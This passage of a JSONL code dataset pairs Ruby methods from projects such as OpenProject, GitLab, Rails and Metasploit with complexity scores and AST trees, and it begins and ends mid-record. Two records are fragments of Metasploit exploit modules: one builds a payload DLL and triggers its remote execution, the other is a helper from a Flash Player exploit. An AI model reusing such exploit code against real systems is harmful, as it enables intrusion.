end","complexity_score":7.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"safe_init_from_hash\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hash\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"line\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"with_indifferent_access\"]}]},{\"type\":\"lvasgn\",\"children\":[\"rich_text\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"rich_text\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"rich_text\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rich_text\"]},\"html_safe\"]}]},{\"type\":\"send\",\"children\":[null,\"init_from_hash\",{\"type\":\"lvar\",\"children\":[\"line\"]}]}]}]}","id":"1b7a3bed-d8b2-4cc7-a790-e3ec61ba8856"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/work_packages/update_ancestors_service.rb","start_line":126,"raw_source":"def compute_derived_done_ratio(work_package, loader)\n    return if no_children?(work_package, loader)\n\n    if WorkPackage.work_weighted_average_mode?\n      calculate_work_weighted_average_percent_complete(work_package)\n    elsif WorkPackage.simple_average_mode?\n      calculate_simple_average_percent_complete(work_package, loader)\n    end\n  end","complexity_score":8.5,"ast_json":"{\"type\":\"def\",\"children\":[\"compute_derived_done_ratio\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_package\"]},{\"type\":\"arg\",\"children\":[\"loader\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"no_children?\",{\"type\":\"lvar\",\"children\":[\"work_package\"]},{\"type\":\"lvar\",\"children\":[\"loader\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackage\"]},\"work_weighted_average_mode?\"]},{\"type\":\"send\",\"children\":[null,\"calculate_work_weighted_average_percent_complete\",{\"type\":\"lvar\",\"children\":[\"work_package\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackage\"]},\"simple_average_mode?\"]},{\"type\":\"send\",\"children\":[null,\"calculate_simple_average_percent_complete\",{\"type\":\"lvar\",\"children\":[\"work_package\"]},{\"type\":\"lvar\",\"children\":[\"loader\"]}]},null]}]}]}]}","id":"19fbe8a9-8ca5-4e25-b53c-f7b60338f84e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/queue/metrics.rb","start_line":215,"raw_source":"def self.queue_retrieval_duration_seconds\n          strong_memoize(:queue_retrieval_duration_seconds) do\n            name = :gitlab_ci_queue_retrieval_duration_seconds\n            comment = 'Time it takes to execute a SQL query to retrieve builds queue'\n            buckets = QUEUE_PROCESSING_DURATION_SECONDS_BUCKETS\n            labels = {}\n\n            Gitlab::Metrics.histogram(name, comment, labels, buckets)\n          end\n        end","complexity_score":8.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"queue_retrieval_duration_seconds\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"queue_retrieval_duration_seconds\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"sym\",\"children\":[\"gitlab_ci_queue_retrieval_duration_seconds\"]}]},{\"type\":\"lvasgn\",\"children\":[\"comment\",{\"type\":\"str\",\"children\":[\"Time it takes to execute a SQL query to retrieve builds queue\"]}]},{\"type\":\"lvasgn\",\"children\":[\"buckets\",{\"type\":\"const\",\"children\":[null,\"QUEUE_PROCESSING_DURATION_SECONDS_BUCKETS\"]}]},{\"type\":\"lvasgn\",\"children\":[\"labels\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Metrics\"]},\"histogram\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"comment\"]},{\"type\":\"lvar\",\"children\":[\"labels\"]},{\"type\":\"lvar\",\"children\":[\"buckets\"]}]}]}]}]}","id":"b417b7f4-8049-407f-8fba-f44520c32638"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/misc/nvidia_mental_ray.rb","start_line":60,"raw_source":"def primer\n    self.file_contents = generate_payload_dll\n    print_status(\"File available on #{unc}...\")\n\n    print_status(\"Trying to execute remote DLL...\")\n    send_exploit\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"primer\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"file_contents=\",{\"type\":\"send\",\"children\":[null,\"generate_payload_dll\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"File available on \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"unc\"]}]},{\"type\":\"str\",\"children\":[\"...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Trying to execute remote DLL...\"]}]},{\"type\":\"send\",\"children\":[null,\"send_exploit\"]}]}]}","id":"5f0d03a8-049a-4a16-9c3b-72367ff1d0db"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/projects/prometheus/alerts/notify_service.rb","start_line":64,"raw_source":"def truncate_alerts!\n          Gitlab::AppLogger.warn(\n            message: 'Prometheus payload exceeded maximum amount of alerts. Truncating alerts.',\n            project_id: project.id,\n            alerts: {\n              total: alerts.size,\n              max: PROCESS_MAX_ALERTS\n            }\n          )\n\n          params['alerts'] = alerts.first(PROCESS_MAX_ALERTS)\n        end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"truncate_alerts!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"AppLogger\"]},\"warn\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"Prometheus payload exceeded maximum amount of alerts. Truncating alerts.\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"alerts\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"total\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"alerts\"]},\"size\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max\"]},{\"type\":\"const\",\"children\":[null,\"PROCESS_MAX_ALERTS\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"alerts\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"alerts\"]},\"first\",{\"type\":\"const\",\"children\":[null,\"PROCESS_MAX_ALERTS\"]}]}]}]}]}","id":"6c9fd612-478e-4e19-b51f-de99198e3c5f"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/services/storages/one_drive_managed_folder_permissions_service.rb","start_line":86,"raw_source":"def add_user_to_permission_list(permissions, identity, project)\n      op_user_permissions = identity.user.all_permissions_for(project)\n\n      if op_user_permissions.member?(:write_files)\n        permissions << { user_id: identity.origin_user_id, permissions: [:write_files] }\n      elsif op_user_permissions.member?(:read_files)\n        permissions << { user_id: identity.origin_user_id, permissions: [:read_files] }\n      end\n    end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"add_user_to_permission_list\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"permissions\"]},{\"type\":\"arg\",\"children\":[\"identity\"]},{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"op_user_permissions\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"identity\"]},\"user\"]},\"all_permissions_for\",{\"type\":\"lvar\",\"children\":[\"project\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"op_user_permissions\"]},\"member?\",{\"type\":\"sym\",\"children\":[\"write_files\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"permissions\"]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"identity\"]},\"origin_user_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"permissions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"write_files\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"op_user_permissions\"]},\"member?\",{\"type\":\"sym\",\"children\":[\"read_files\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"permissions\"]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"identity\"]},\"origin_user_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"permissions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"read_files\"]}]}]}]}]},null]}]}]}]}","id":"4f77cd9d-9d8f-4e27-b14c-f11539418f06"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/summarization/fold_content.rb","start_line":42,"raw_source":"def existing_summary\n        if !defined?(@existing_summary)\n          summary = AiSummary.find_by(target: strategy.target, summary_type: strategy.type)\n\n          if summary\n            @existing_summary = summary\n\n            if summary.original_content_sha != latest_sha ||\n                 content_to_summarize.any? { |cts| cts[:last_version_at] > summary.updated_at }\n              summary.mark_as_outdated\n            end\n          end\n        end\n        @existing_summary\n      end","complexity_score":32.1,"ast_json":"{\"type\":\"def\",\"children\":[\"existing_summary\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@existing_summary\"]}]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"summary\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AiSummary\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strategy\"]},\"target\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"summary_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strategy\"]},\"type\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"summary\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@existing_summary\",{\"type\":\"lvar\",\"children\":[\"summary\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"summary\"]},\"original_content_sha\"]},\"!=\",{\"type\":\"send\",\"children\":[null,\"latest_sha\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"content_to_summarize\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cts\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"last_version_at\"]}]},\">\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"summary\"]},\"updated_at\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"summary\"]},\"mark_as_outdated\"]},null]}]},null]}]},null]},{\"type\":\"ivar\",\"children\":[\"@existing_summary\"]}]}]}","id":"b0e501a2-02ed-432c-8d72-f3badccd258b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/projects/transfer_service.rb","start_line":114,"raw_source":"def raise_error_due_to_tags_if_transfer_is_not_allowed\n      return if ContainerRegistry::GitlabApiClient.supports_gitlab_api?\n\n      raise TransferError, s_('TransferProject|Project cannot be transferred, because image tags are present in its container registry')\n    end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"raise_error_due_to_tags_if_transfer_is_not_allowed\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ContainerRegistry\"]},\"GitlabApiClient\"]},\"supports_gitlab_api?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"TransferError\"]},{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"str\",\"children\":[\"TransferProject|Project cannot be transferred, because image tags are present in its container registry\"]}]}]}]}]}","id":"9f096020-7176-44c7-88f9-e61d7b617838"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/projects/orders/project_phase_order.rb","start_line":86,"raw_source":"def viewable_project_ids\n    Project.allowed_to(User.current, :view_project_phases).select(:id)\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"viewable_project_ids\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"allowed_to\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]},{\"type\":\"sym\",\"children\":[\"view_project_phases\"]}]},\"select\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}","id":"a2538903-2432-400a-94cc-046b86390774"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/rails5.rb","start_line":445,"raw_source":"def test_sql_injection_from_model_call_fp\n    assert_no_warning :type => :warning,\n      :warning_code => 0,\n      :fingerprint => \"dcfa0c30b2d303c58bde5b376f423cff6282bbc71ed460077478ca97e1f4d0f7\",\n      :warning_type => \"SQL Injection\",\n      :line => 2,\n      :message => /^Possible\\ SQL\\ injection/,\n      :confidence => 0,\n      :relative_path => \"app/models/user.rb\",\n      :code => s(:call, s(:const, :User), :where, s(:call, s(:const, :User), :access_condition, s(:lvar, :user))),\n      :user_input => s(:call, s(:const, :User), :access_condition, s(:lvar, :user))\n  end","complexity_score":12.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_sql_injection_from_model_call_fp\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_no_warning\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"warning\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_code\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fingerprint\"]},{\"type\":\"str\",\"children\":[\"dcfa0c30b2d303c58bde5b376f423cff6282bbc71ed460077478ca97e1f4d0f7\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_type\"]},{\"type\":\"str\",\"children\":[\"SQL Injection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"line\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^Possible\\\\ SQL\\\\ injection\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relative_path\"]},{\"type\":\"str\",\"children\":[\"app/models/user.rb\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"const\"]},{\"type\":\"sym\",\"children\":[\"User\"]}]},{\"type\":\"sym\",\"children\":[\"where\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"const\"]},{\"type\":\"sym\",\"children\":[\"User\"]}]},{\"type\":\"sym\",\"children\":[\"access_condition\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lvar\"]},{\"type\":\"sym\",\"children\":[\"user\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_input\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"const\"]},{\"type\":\"sym\",\"children\":[\"User\"]}]},{\"type\":\"sym\",\"children\":[\"access_condition\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lvar\"]},{\"type\":\"sym\",\"children\":[\"user\"]}]}]}]}]}]}]}","id":"ae6b7217-2e1c-4e66-84bb-a92b9e3dd7a1"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/finder_test.rb","start_line":939,"raw_source":"def test_second_to_last\n    assert_equal topics(:fourth).title, Topic.second_to_last.title\n\n    # test with offset\n    assert_equal topics(:fourth), Topic.offset(1).second_to_last\n    assert_equal topics(:fourth), Topic.offset(2).second_to_last\n    assert_equal topics(:fourth), Topic.offset(3).second_to_last\n    assert_nil Topic.offset(4).second_to_last\n    assert_nil Topic.offset(5).second_to_last\n\n    # test with limit\n    assert_nil Topic.limit(1).second\n    assert_nil Topic.limit(1).second_to_last\n  end","complexity_score":37.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_second_to_last\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"topics\",{\"type\":\"sym\",\"children\":[\"fourth\"]}]},\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"second_to_last\"]},\"title\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[null,\"topics\",{\"type\":\"sym\",\"children\":[\"fourth\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"offset\",{\"type\":\"int\",\"children\":[1]}]},\"second_to_last\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[null,\"topics\",{\"type\":\"sym\",\"children\":[\"fourth\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"offset\",{\"type\":\"int\",\"children\":[2]}]},\"second_to_last\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[null,\"topics\",{\"type\":\"sym\",\"children\":[\"fourth\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"offset\",{\"type\":\"int\",\"children\":[3]}]},\"second_to_last\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"offset\",{\"type\":\"int\",\"children\":[4]}]},\"second_to_last\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"offset\",{\"type\":\"int\",\"children\":[5]}]},\"second_to_last\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"limit\",{\"type\":\"int\",\"children\":[1]}]},\"second\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"limit\",{\"type\":\"int\",\"children\":[1]}]},\"second_to_last\"]}]}]}]}","id":"77487170-818e-482c-8549-4de9a5c89121"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/adobe_flashplayer_newfunction.rb","start_line":242,"raw_source":"def random_non_ascii_string(count)\n    result = \"\"\n    count.times do\n      result << (rand(128) + 128).chr\n    end\n    result\n  end","complexity_score":9.5,"ast_json":"{\"type\":\"def\",\"children\":[\"random_non_ascii_string\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"count\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"count\"]},\"times\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[128]}]},\"+\",{\"type\":\"int\",\"children\":[128]}]}]},\"chr\"]}]}]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}","id":"dfcb54c4-b27d-4962-9c58-a710ab994e05"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/tasks/database_tasks_test.rb","start_line":228,"raw_source":"def with_multi_db_configurations(env)\n          old_configurations = ActiveRecord::Base.configurations\n          ActiveRecord::Base.configurations = {\n            env => {\n              primary: {\n                adapter: \"sqlite3\",\n                database: \"test/fixtures/fixture_database.sqlite3\",\n              },\n              secondary: {\n                adapter: \"sqlite3\",\n                database: \"test/fixtures/fixture_database_2.sqlite3\",\n              }\n            }\n          }\n\n          ActiveRecord::Base.establish_connection(:primary)\n          yield\n        ensure\n          [:primary, :secondary].each do |db|\n            ActiveRecord::Base.establish_connection(db)\n            ActiveRecord::Base.connection_pool.schema_migration.delete_all_versions\n            ActiveRecord::Base.connection_pool.internal_metadata.delete_all_entries\n          end\n          ActiveRecord::Base.configurations = old_configurations\n          ActiveRecord::Base.establish_connection(:arunit)\n        end","complexity_score":20.2,"ast_json":"{\"type\":\"def\",\"children\":[\"with_multi_db_configurations\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"old_configurations\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"configurations\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"configurations=\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"primary\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"adapter\"]},{\"type\":\"str\",\"children\":[\"sqlite3\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"database\"]},{\"type\":\"str\",\"children\":[\"test/fixtures/fixture_database.sqlite3\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"secondary\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"adapter\"]},{\"type\":\"str\",\"children\":[\"sqlite3\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"database\"]},{\"type\":\"str\",\"children\":[\"test/fixtures/fixture_database_2.sqlite3\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"establish_connection\",{\"type\":\"sym\",\"children\":[\"primary\"]}]},{\"type\":\"yield\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"primary\"]},{\"type\":\"sym\",\"children\":[\"secondary\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"db\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"establish_connection\",{\"type\":\"lvar\",\"children\":[\"db\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connection_pool\"]},\"schema_migration\"]},\"delete_all_versions\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connection_pool\"]},\"internal_metadata\"]},\"delete_all_entries\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"configurations=\",{\"type\":\"lvar\",\"children\":[\"old_configurations\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"establish_connection\",{\"type\":\"sym\",\"children\":[\"arunit\"]}]}]}]}]}","id":"141b9470-a211-4a5e-baab-82bdef185cdc"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/finder_test.rb","start_line":1278,"raw_source":"def test_implicit_order_column_reorders_query_constraints\n    ClothingItem.implicit_order_column = \"color\"\n    quoted_type = Regexp.escape(quote_table_name(\"clothing_items.clothing_type\"))\n    quoted_color = Regexp.escape(quote_table_name(\"clothing_items.color\"))\n\n    assert_queries_match(/ORDER BY #{quoted_color} ASC, #{quoted_type} ASC LIMIT/i) do\n      assert_kind_of ClothingItem, ClothingItem.first\n    end\n  ensure\n    ClothingItem.implicit_order_column = nil\n  end","complexity_score":13.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_implicit_order_column_reorders_query_constraints\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ClothingItem\"]},\"implicit_order_column=\",{\"type\":\"str\",\"children\":[\"color\"]}]},{\"type\":\"lvasgn\",\"children\":[\"quoted_type\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"escape\",{\"type\":\"send\",\"children\":[null,\"quote_table_name\",{\"type\":\"str\",\"children\":[\"clothing_items.clothing_type\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"quoted_color\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"escape\",{\"type\":\"send\",\"children\":[null,\"quote_table_name\",{\"type\":\"str\",\"children\":[\"clothing_items.color\"]}]}]}]},{\"type\":\"